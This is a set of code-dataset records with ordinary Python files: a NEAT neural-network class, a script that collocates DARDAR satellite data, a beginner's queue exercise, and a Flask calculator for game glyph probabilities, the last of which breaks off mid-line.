"dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 15, "usage_type": "call"}, {"api_name": "json.load", "line_number": 21, "usage_type": "call"}, {"api_name": "mcstatus.MinecraftServer.lookup", "line_number": 26, "usage_type": "call"}, {"api_name": "mcstatus.MinecraftServer", "line_number": 26, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 50, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 50, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 53, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 105, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 109, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 109, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 113, "usage_type": "call"}]}
{"seq_id": "43514854342", "text": "# takes ins + outs, returns basic 1 layer network\n# takes inputs, returns outputs\n# creates neurons and connections\n\nfrom neuron import Neuron\nfrom connection import Connection\nimport numpy\n\n\nclass Network:\n    consonants = (\n        \"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\")\n    vowels = (\"a\", \"e\", \"i\", \"o\", \"u\")\n\n    def __init__(self, ins, outs, recurrent, id, dna, basic, mutate, species, colour):\n        self.ins = ins\n        self.outs = outs\n        self.layers = 1\n        self.recurrent = recurrent\n        self.neurons = []\n        self.connections = []\n        self.recurrents = []\n        self.max_node = 0\n        self.id = id\n        self.fitness = 0\n        self.adj_fitness = 0\n        self.neuron_ids = []\n        self.dna = dna\n        self.mutation_amount = 0.1\n        self.species = species\n        if basic:\n            self.setup_basic()\n        else:\n            if mutate:\n                self.mutate_dna()\n            self.translation_setup()\n        self.name = self.generate_name()\n        self.colour = colour\n\n    def setup_basic(self):\n        for i in range(self.ins):\n            input_neuron = Neuron(0, self.max_node, True, 1)\n            self.dna[\"neurons\"][0].append(self.max_node)\n            self.neuron_ids.append(self.max_node)\n            self.next_neuron(input_neuron)\n\n        for i in range(self.outs):\n            self.dna[\"neurons\"][1].append(self.max_node)\n            self.neuron_ids.append(self.max_node)\n            self.next_neuron(Neuron(1, self.max_node, True, 0))\n\n        for i in range(self.ins):\n            for j in range(self.outs):\n                weight = numpy.random.uniform(-0.5, 0.5)\n                connection = Connection(\n                    self.neurons[i], self.neurons[j + self.ins], weight, True, False)\n                self.connections.append(connection)\n                self.neurons[i].add_connection(connection)\n                self.dna[\"connections\"].append([i, j + self.ins, weight, True])\n\n    def translation_setup(self):\n        layers = len(self.dna[\"neurons\"])\n\n        for i in range(self.ins):\n            input_neuron = Neuron(0, i, True, 1)\n            self.next_neuron(input_neuron)\n\n        for i in range(layers - 2):\n            for j in range(len(self.dna[\"neurons\"][i + 1])):\n                self.next_neuron(\n                    Neuron(i + 1, self.dna[\"neurons\"][i + 1][j], False, 0))\n\n        for i in range(self.outs):\n            self.next_neuron(Neuron(layers - 1, self.ins + i, True, 0))\n\n        for i in range(len(self.dna[\"connections\"])):\n            if not self.dna[\"connections\"][i][3]:\n                continue\n            code = self.dna[\"connections\"][i]\n            node1 = self.get_node(code[0])\n            node2 = self.get_node(code[1])\n            self.connections.append(Connection(\n                node1, node2, code[2], code[3], False))\n            node1.add_connection(self.connections[-1])\n\n        for i in range(len(self.dna[\"recurrents\"])):\n            if not self.dna[\"recurrents\"][i][3]:\n                continue\n            code = self.dna[\"recurrents\"][i]\n            node1 = self.get_node(code[0])\n            node2 = self.get_node(code[1])\n            self.recurrents.append(Connection(\n                node1, node2, code[2], code[3], True))\n            node1.recurrents.append(self.recurrents[-1])\n\n    def feed_forward(self, inputs):\n        for i in range(len(self.neurons)):\n            if self.neurons[i].layer == 0:\n                self.neurons[i].set_value(inputs[i])\n\n        for i in range(len(self.neurons)):\n            self.neurons[i].fire_recurrents()\n        outputs = []\n\n        for i in range(self.max_node - self.outs, self.max_node):\n            outputs.append(self.neurons[i].output_value)\n\n        return outputs\n\n    def next_neuron(self, neuron):\n        self.neurons.append(neuron)\n        self.max_node += 1\n\n    def get_node(self, number):\n        for n in self.neurons:\n            if n.id == number:\n                return n\n        for i in self.neurons:\n            print(i.id)\n        print(\"can't find node\" + str(number) + \"!!\")\n\n    def reset(self):\n        self.fitness = 0\n\n    def mutate_dna(self):\n        rand = numpy.random.rand()\n        if rand < 0.01:\n            self.mutate_nodes()\n        elif rand < 0.002:\n            self.activate_or_inactivate()\n\n        rand2 = numpy.random.rand()\n\n        if rand2 < 0.001:\n            self.mutate_connections()\n\n        rand3 = numpy.random.rand()\n        if rand3 < 0.8:\n            self.mutate_weights()\n\n\n    def mutate_weights(self):\n        keyword = numpy.random.choice((\"connections\", \"recurrents\"))\n\n        for c in range(len(self.dna[keyword])):\n            rand = numpy.random.rand()\n\n            if rand < 0.1:\n                self.dna[keyword][c][2] = numpy.random.uniform(-1, 1)\n            else:\n                self.dna[keyword][c][2] += numpy.random.uniform(\n                    -self.mutation_amount, self.mutation_amount)\n\n            if self.dna[keyword][c][2] > 1:\n                self.dna[keyword][c][2] = 1\n            if self.dna[keyword][c][2] < -1:\n                self.dna[keyword][c][2] = -1\n\n    def mutate_nodes(self):\n        c = numpy.random.randint(len(self.dna[\"connections\"]))\n\n        self.dna[\"connections\"][c][3] = False\n\n        start = self.dna[\"connections\"][c][0]\n        end = self.dna[\"connections\"][c][1]\n        weight = self.dna[\"connections\"][c][2]\n        start_layer = 0\n        end_layer = 0\n\n        max_node = 0\n        for n in range(len(self.dna[\"neurons\"])):\n            this_max = max(self.dna[\"neurons\"][n])\n            max_node = this_max if this_max > max_node else max_node\n            if start in self.dna[\"neurons\"][n]:\n                start_layer = n\n            if end in self.dna[\"neurons\"][n]:\n                end_layer = n\n\n        if start_layer + 1 == end_layer:\n            self.dna[\"neurons\"].insert(start_layer + 1, [max_node + 1])\n        else:\n            self.dna[\"neurons\"][start_layer +\n                                int((end_layer - start_layer) / 2)].append(max_node + 1)\n\n        self.dna[\"connections\"].append([start, max_node + 1, 1, True])\n        self.dna[\"connections\"].append([max_node + 1, end, weight, True])\n\n    def activate_or_inactivate(self):\n        keyword = numpy.random.choice((\"connections\", \"recurrents\"))\n\n        length = len(self.dna[keyword])\n\n        if length == 0:\n            return\n\n        c = numpy.random.randint(length)\n\n        #self.dna[keyword][c][3] = not self.dna[keyword][c][3]\n        del self.dna[keyword][c]\n\n    def mutate_connections(self):\n        l1 = numpy.random.randint(len(self.dna[\"neurons\"]))\n\n        n1 = int(numpy.random.choice(self.dna[\"neurons\"][l1]))\n\n        l2 = numpy.random.randint(len(self.dna[\"neurons\"]))\n\n        n2 = int(numpy.random.choice(self.dna[\"neurons\"][l2]))\n\n        c_or_r = \"connections\" if l2 > l1 else \"recurrents\"\n\n        for c in self.dna[c_or_r]:\n            if c[0] == n1 and c[1] == n2:\n                return\n\n        self.dna[c_or_r].append([n1, n2, numpy.random.uniform(-1, 1), True])\n\n    def generate_name(self):\n        first_patt = numpy.random.choice((True, False))\n        to_return = \"\"\n\n        if first_patt:\n            to_return += numpy.random.choice(self.consonants)\n            to_return += numpy.random.choice(self.vowels)\n            to_return += numpy.random.choice(self.consonants)\n            to_return += numpy.random.choice(self.consonants)\n            to_return += numpy.random.choice(self.vowels)\n            to_return += numpy.random.choice(self.vowels)\n        else:\n            to_return += numpy.random.choice(self.vowels)\n            to_return += numpy.random.choice(self.consonants)\n            to_return += numpy.random.choice(self.consonants)\n            to_return += numpy.random.choice(self.vowels)\n            to_return += numpy.random.choice(self.consonants)\n            to_return += numpy.random.choice(self.vowels)\n\n        return to_return\n", "repo_name": "imconfusednow/neat", "sub_path": "network.py", "file_name": "network.py", "file_ext": "py", "file_size_in_byte": 8028, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "neuron.Neuron", "line_number": 42, "usage_type": "call"}, {"api_name": "neuron.Neuron", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 54, "usage_type": "attribute"}, {"api_name": "connection.Connection", "line_number": 55, "usage_type": "call"}, {"api_name": "neuron.Neuron", "line_number": 65, "usage_type": "call"}, {"api_name": "neuron.Neuron", "line_number": 71, "usage_type": "call"}, {"api_name": "neuron.Neuron", "line_number": 74, "usage_type": "call"}, {"api_name": "connection.Connection", "line_number": 82, "usage_type": "call"}, {"api_name": "connection.Connection", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 126, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 132, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 137, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 143, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 146, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 149, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 151, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 160, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 189, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 196, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 202, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 204, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 206, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 208, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 216, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 219, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 223, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 224, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 225, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 226, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 227, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 228, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 230, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 231, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 231, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 232, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 233, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 234, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 235, "usage_type": "attribute"}]}
{"seq_id": "32947213723", "text": "\"\"\"\nThis script collocates DARDAR data with the data prepared for the training and\ntest sets of CCIC.\n\nRequirements and assumptions:\n- All DARDAR granules used in the training are locally accessible,\n  i.e. they do not need to be downloaded.\n- Recording which DARDARDAR were missing takes place outside this script, e.g.,\n  by analysing the stderr.\n- No training or test scenes cross the antimeridian.\n\nNotes:\n- The variables stored have `_dardar` appended instead of `_cloudsat` to\n  differentiate them from the resampled CloudSat DPC data (2C-ICE, 2B-CLDCLASS)\n- The resampling done aims to mimic the resampling done for CloudSat DPC data\n- The variables in the output files only have the resampled DARDAR data\n- There is currently no support for collocating with the coarser CPCIR data\n\"\"\"\n\nimport argparse\nimport glob\nimport logging\nfrom pathlib import Path\nimport sys\nimport warnings\n\nimport numpy as np\nfrom pyresample import create_area_def\nimport tqdm\nimport xarray as xr\n\nfrom ccic.data import write_scenes\nfrom ccic.data.cloudsat import resample_data\nfrom ccic.data.dardar import DardarFile\nfrom ccic.data.gridsat import GRIDSAT_GRID\nfrom ccic.data.cpcir import CPCIR_GRID\n\n\ndef resample_to_scene(\n    source_dataset_filepath, source_global_grid, dardar_files_dict, dst\n) -> None:\n    \"\"\"\n    Resample DARDAR data to a source dataset, where the source dataset is\n    CloudSat-collocated CPCIR or GridSat data.\n\n    Args:\n        source_dataset_filepath: path to the source dataset\n        source_global_grid: ``pyresample.geometry.AreaDefinition`` used to\n            create the source dataset\n        dardar_files_dict: a dictionary with CloudSat granule IDs as keys\n            and DARDAR file paths as values\n        dst: directory to write the resamped scenes\n\n    Raises:\n        KeyError: if CloudSat granule used for the source dataset is not found\n            in ``dardar_files_dict``\n\n    Notes:\n    - No scenes must be cross the antimeridian.\n    - If there no matches can be found within the given time constraints, then\n      no file is created.\n    \"\"\"\n    assert source_global_grid in [GRIDSAT_GRID, CPCIR_GRID]\n\n    # Open the source dataset\n    source_dataset = xr.open_dataset(source_dataset_filepath)\n\n    # Get the cloudsat times to slice the dardar data\n    times_cloudsat = np.unique(source_dataset.time_cloudsat)\n\n    # Clear all variables from the source dataset except `ir_win`\n    # to avoid storing also the CloudSat DPC data\n    source_dataset = source_dataset.drop_vars(\n        set(list(source_dataset.keys())) - {\"ir_win\"}\n    )\n\n    # Get the extent of the scene, taking into account the pixel resolution\n    resolution = source_global_grid.resolution\n    delta_lon = resolution[0] / 2\n    delta_lat = resolution[1] / 2\n    lon_scene = source_dataset.longitude.data\n    lat_scene = source_dataset.latitude.data\n    bbox_scene = [\n        lon_scene.min() - delta_lon,\n        lat_scene.min() - delta_lat,\n        lon_scene.max() + delta_lon,\n        lat_scene.max() + delta_lat,\n    ]\n\n    # Create a pyresample.geometry.AreaDefinition for the scene\n    # Silence the warning \"shape found from radius and resolution\n    # does not contain only integers\" issued through the logging module\n    level = logging.getLogger().getEffectiveLevel()\n    logging.getLogger().setLevel(logging.CRITICAL)\n    scene_grid = create_area_def(\n        source_global_grid.area_id,\n        source_global_grid.proj_dict,\n        area_extent=bbox_scene,\n        resolution=resolution,\n        units=\"degrees\",\n    )\n    logging.getLogger().setLevel(level)\n\n    # This should hold, but assert as the warning above was silenced\n    assert scene_grid.width == 384\n    assert scene_grid.height == 384\n\n    # Get the matching DARDAR file\n    granule = int(source_dataset.attrs[\"granule\"])\n    dardar_file_path = dardar_files_dict[granule]\n    dardar_file = DardarFile(dardar_file_path)\n\n    # Resample using the time constraints\n    ds_resampled = resample_data(\n        source_dataset,\n        scene_grid,\n        [dardar_file],\n        start_time=times_cloudsat.min(),\n        end_time=times_cloudsat.max(),\n    )\n\n    if ds_resampled is not None:\n        # Add an attribute to register the input source for the resampling\n        ds_resampled.attrs[\"input_source_resampling\"] = Path(\n            source_dataset_filepath\n        ).name\n        # and the DARDAR version\n        ds_resampled.attrs[\"DARDAR_version\"] = Path(dardar_file_path).stem.split(\"V\")[\n            -1\n        ]\n\n        # Save to file\n        write_scenes([ds_resampled], dst, product=\"dardar\")\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(\n        description=\"Resample and collocate DARDAR with existing collocations\"\n    )\n\n    parser.add_argument(\n        \"--cpcir\",\n        type=Path,\n        help=\"Root directory containing CloudSat collocated CPCIR files\",\n    )\n    parser.add_argument(\n        \"--dardar\",\n        type=Path,\n        help=\"Root directory where DARDAR files are located (possibily in subfolders)\",\n        required=True,\n    )\n    parser.add_argument(\n        \"--gridsat\",\n        type=Path,\n        help=\"Root directory containing CloudSat collocated GridSat files\",\n    )\n    parser.add_argument(\n        \"--output\",\n        type=Path,\n        help=\"Directory to save the output datasets\",\n        required=True,\n    )\n    args = parser.parse_args()\n\n    # Get DARDAR files\n    dardar_files_dict = {\n        DardarFile(f).granule: f\n        for f in glob.glob(str(args.dardar / \"**/*nc\"), recursive=True)\n    }\n\n    # Process for CPCIR\n    if args.cpcir:\n        # Get CPCIR files\n        cpcir_files = sorted(glob.glob(str(args.cpcir / \"**/*nc\"), recursive=True))\n\n        # Make sure the destination directory exists\n        dst_cpcir = args.output / \"cpcir\"\n        dst_cpcir.mkdir(parents=True, exist_ok=True)\n\n        # Collocate with CPCIR files\n        with warnings.catch_warnings():\n            # Silence pyproj warning\n            warnings.filterwarnings(\n                \"ignore\",\n                message=\"You will likely lose important projection information\",\n            )\n            print(\"Processing CPCIR data\")\n            for f in tqdm.tqdm(cpcir_files, ncols=80, file=sys.stdout):\n                try:\n                    resample_to_scene(f, CPCIR_GRID, dardar_files_dict, dst_cpcir)\n                except KeyError as e:\n                    logging.error(f\"DARDAR granule not found, {str(e)}\")\n\n    # Process for GridSat\n    if args.gridsat:\n        # Get GridSat\n        gridsat_files = sorted(glob.glob(str(args.gridsat / \"**/*nc\"), recursive=True))\n\n        # Make sure the destination directory exists\n        dst_gridsat = args.output / \"gridsat\"\n        dst_gridsat.mkdir(parents=True, exist_ok=True)\n\n        # Collocate with GridSat files\n        with warnings.catch_warnings():\n            # Silence pyproj warning\n            warnings.filterwarnings(\n                \"ignore\",\n                message=\"You will likely lose important projection information\",\n            )\n            print(\"Processing GridSat data\")\n            for f in tqdm.tqdm(gridsat_files, ncols=80, file=sys.stdout):\n                try:\n                    resample_to_scene(f, GRIDSAT_GRID, dardar_files_dict, dst_gridsat)\n                except KeyError as e:\n                    logging.error(f\"DARDAR granule not found, {str(e)}\")\n", "repo_name": "SEE-GEO/ccic", "sub_path": "scripts/collocate_dardar.py", "file_name": "collocate_dardar.py", "file_ext": "py", "file_size_in_byte": 7374, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "ccic.data.gridsat.GRIDSAT_GRID", "line_number": 63, "usage_type": "name"}, {"api_name": "ccic.data.cpcir.CPCIR_GRID", "line_number": 63, "usage_type": "name"}, {"api_name": "xarray.open_dataset", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 69, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 93, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 94, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pyresample.create_area_def", "line_number": 95, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 102, "usage_type": "call"}, {"api_name": "ccic.data.dardar.DardarFile", "line_number": 111, "usage_type": "call"}, {"api_name": "ccic.data.cloudsat.resample_data", "line_number": 114, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 124, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 128, "usage_type": "call"}, {"api_name": "ccic.data.write_scenes", "line_number": 133, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 137, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 143, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 148, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 154, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 159, "usage_type": "name"}, {"api_name": "ccic.data.dardar.DardarFile", "line_number": 167, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 168, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 174, "usage_type": "call"}, {"api_name": "warnings.catch_warnings", "line_number": 181, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 183, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 188, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 188, "usage_type": "attribute"}, {"api_name": "ccic.data.cpcir.CPCIR_GRID", "line_number": 190, "usage_type": "argument"}, {"api_name": "logging.error", "line_number": 192, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 197, "usage_type": "call"}, {"api_name": "warnings.catch_warnings", "line_number": 204, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 206, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 211, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 211, "usage_type": "attribute"}, {"api_name": "ccic.data.gridsat.GRIDSAT_GRID", "line_number": 213, "usage_type": "argument"}, {"api_name": "logging.error", "line_number": 215, "usage_type": "call"}]}
{"seq_id": "71455398665", "text": "# Queue는 초기 크기를 크게 잡아야 한다\n\nSIZE = 100\nQ = [0] * SIZE\nfront = rear = -1\n\n# enQueue\nrear += 1\nQ[rear] = 1\nrear += 1\nQ[rear] = 2\n\n# peek\nprint(f'peek : {Q[front + 1]}')\n\n# deQueue\nwhile front != rear:\n    front += 1\n    print(Q[front])\n\nprint(front, rear)\nprint(Q)\n\n\n# list로 Queue 만들기\nQ = []\n\n# enQ\nQ.append(1)\nQ.append(2)\nQ.append(3)\n\n# peek\nprint(f'peek : {Q[0]}')\n\n# deQ\nwhile Q:   # Que가 비어있지 않은 동안\n    print(Q.pop(0))    # 0번째 인덱스에 저장된 값을 Pop (O(n) -> 시간 많이 걸릴수도)\n    # pop(0) 대신 popleft 사용 => O(1)의 시간복잡도 (good!)\n\n\n# import\nfrom collections import deque\nQ = deque()\n\n# enQ\nQ.append(1)\nQ.append(2)\nQ.append(3)\n\n# peek\n", "repo_name": "sunoftwilight/LecturePractice", "sub_path": "오프라인 강의 실습/알고리즘/0817선형큐.py", "file_name": "0817선형큐.py", "file_ext": "py", "file_size_in_byte": 730, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 44, "usage_type": "call"}]}
{"seq_id": "72579918986", "text": "from flask import Flask\r\nfrom flask import request, jsonify\r\nimport numpy\r\nfrom scipy.stats import norm\r\napp = Flask(__name__)\r\n\r\n# Request Object:\r\n# {\r\n#   rarity: float (required)\r\n# }\r\n#\r\n# Response:\r\n# {\r\n#   status: string\r\n# }\r\n@app.route(\"/threshold\", methods=[\"POST\"])\r\ndef getThreshold():\r\n    rarity = request.get_json()['rarity']\r\n    try:\r\n        rarity = float(rarity)\r\n    except:\r\n        response = {\"status\" : \"Invalid input, must be a number such as 85.3.\"}\r\n        return jsonify(response)\r\n    if rarity > 100 or rarity < 0:\r\n        response = { \"status\": \"Invalid input, must be a number between 0 and 100.\"}\r\n        return jsonify(response)\r\n    else:\r\n        response = {\"status\": \"Guaranteed two effect glyph at level: \" + str(numpy.int32(numpy.ceil(100**2/(2.5 * rarity /100 + 1 ))))}\r\n        return jsonify(response)\r\n\r\n# Request Object:\r\n# {\r\n#   bonus: float (optional, default: 0)\r\n#   ru16: boolean (optional, default: true)\r\n#   rarity: float (required)\r\n#  }\r\n#\r\n# Response:\r\n# {\r\n#   status: string\r\n# }\r\n@app.route(\"/rarityProbabilityCalculator\", methods = [\"POST\"])\r\ndef calculateRarityProbability():\r\n    input = request.get_json()\r\n    bonus = 0\r\n    rarity = 0\r\n    ru16 = True\r\n    try:\r\n        if \"bonus\" in input:\r\n            bonus = float(input[\"bonus\"])\r\n\r\n        if \"rarity\" not in input:\r\n            return { \"status\": \"Minimum rarity must be specified.\" }\r\n\r\n        rarity = float(input[\"rarity\"])\r\n\r\n        if rarity < 0 or rarity > 100:\r\n            return { \"status\": \"One or more inputs were invalid, please check and try again.\" }   \r\n\r\n        if \"ru16\" in input:\r\n            ru16 = input[\"ru16\"]    \r\n\r\n    except:\r\n        return { \"status\": \"One or more inputs were invalid, please check and try again.\" }\r\n    \r\n    # The minimum value a normally distributed variable would need to be for the required rarity\r\n    minimumStrength = 2.5 * rarity / 100 + 1 - bonus\r\n\r\n    # The theoretical minimum rarity that could be generated\r\n    theoreticalMinimum = numpy.min([1.3 + bonus/40, 3.5]) if ru16 else numpy.min([1 + bonus/40, 3.5])\r\n\r\n    if minimumStrength < theoreticalMinimum:\r\n        theoreticalMinimumRarity = numpy.round(numpy.ceil(400*((theoreticalMinimum - 1) * 100 / 2.5)) / 400, 1)\r\n        return { \"status\": f\"The given rarity would be impossible, however you are guaranteed a better rarity of {theoreticalMinimumRarity}%\"}\r\n\r\n    if ru16:\r\n        minimumStrength /= 1.3\r\n        \r\n    z = minimumStrength ** (1 / 0.65) - 1\r\n    probabilityOfRarity = 2 * (1 - norm.cdf(z))\r\n    probabilityOfRarity = numpy.round(probabilityOfRarity * 100, 2)\r\n    if probabilityOfRarity < 0.01:\r\n        return { \"status\": \"A glyph with the given rarity would have a probability below 0.01%.\" }\r\n    else:\r\n        return { \"status\": f\"A glyph with the given rarity ({rarity}), or better, would have a probability of {probabilityOfRarity}%.\" }\r\n\r\n# Request Object:\r\n# {\r\n#   ru17: boolean (optional, default: true)\r\n#   rarity: float (required)\r\n#   level: int (required)\r\n#   numberOfEffects: int (required)\r\n#   isEffarig: boolean (optional, default: false)\r\n#  }\r\n#\r\n# Response:\r\n# {\r\n#   status: string\r\n# }\r\n#\r\n# Note: this method is agnostic to any logic involving minimum glyph rarity thresholds\r\n@app.route(\"/effectCountProbabilityCalculator\", methods = [\"POST\"])\r\ndef calculateEffectCountProbability():\r\n    input = request.get_json()\r\n    ru17 = True\r\n    isEffarig = False\r\n    probabilityOfEffectCount = 0\r\n    try:\r\n        if \"rarity\" not in input or \"level\" not in input or \"numberOfEffects\" not in input:\r\n            return { \"status\": \"Minimum rarity, target level and effect count must be specified.\" }\r\n\r\n        if \"isEffarig\" in input:\r\n            isEffarig = input[\"isEffarig\"]\r\n\r\n        level = int(input[\"level\"])\r\n        rarity = float(input[\"rarity\"])\r\n        numberOfEffects = int(input[\"numberOfEffects\"])\r\n        if level < 0 or rarity < 0 or rarity > 100 or numberOfEffects < 0 or numberOfEffects > 7:\r\n            return { \"status\": \"One or more inputs were invalid, please check and try again.\" }  \r\n\r\n        if (numberOfEffects > 4 and not isEffarig):\r\n            return { \"status\": \"You cannot get the specified number of effects on this type of glyph, consider checking your input.\"}\r\n\r\n        if \"ru17\" in input:\r\n            ru17 = input[\"ru17\"]\r\n\r\n    except:\r\n        return { \"status\": \"One or more inputs were invalid, please check and try again.\" }\r\n\r\n    threshold = numpy.ceil(100**2/(2.5 * rarity /100 + 1 ))\r\n    if (level < threshold and numberOfEffects >= 4) or (level < threshold and numberOfEffects >= 3 and not ru17) or (level > threshold and numberOfEffects == 1):\r\n        return { \"status\": \"A glyph with the given rarity would be impossible.\" }\r\n\r\n    # Above the threshold the random value must be greater than the calculated value, below the threshold\r\n    # the random value must be below the calculated value. \r\n    strength = 2.5 * rarity / 100 + 1\r\n    if level * strength != 10000:\r\n        if not ru17:\r\n            probabilityOfEffectCount = effectCountProbabilityModel(threshold, strength, level, numberOfEffects, isEffarig)\r\n        else:\r\n            if numberOfEffects == 2 and level > threshold:\r\n                probabilityOfEffectCount = effectCountProbabilityModel(threshold, strength, level, numberOfEffects, isEffarig) * 0.5\r\n            elif level < threshold:\r\n                probabilityOfEffectCount = (1 - 0.5 * (not numberOfEffects == 2)) * effectCountProbabilityModel(threshold, strength, level, numberOfEffects, isEffarig) + 0.5 * effectCountProbabilityModel(threshold, strength, level, numberOfEffects - 1, isEffarig)\r\n            else:\r\n                probabilityOfEffectCount = effectCountProbabilityModel(threshold, strength, level, numberOfEffects, isEffarig) * (1 - 0.5 * ( not ( ( not isEffarig and numberOfEffects == 4 )  or ( isEffarig and numberOfEffects == 7 )) ) ) + effectCountProbabilityModel(threshold, strength, level, numberOfEffects - 1, isEffarig) * 0.5\r\n    else:\r\n        response = \"You have a 50/50 chance of getting 2 or 3 effects.\" if 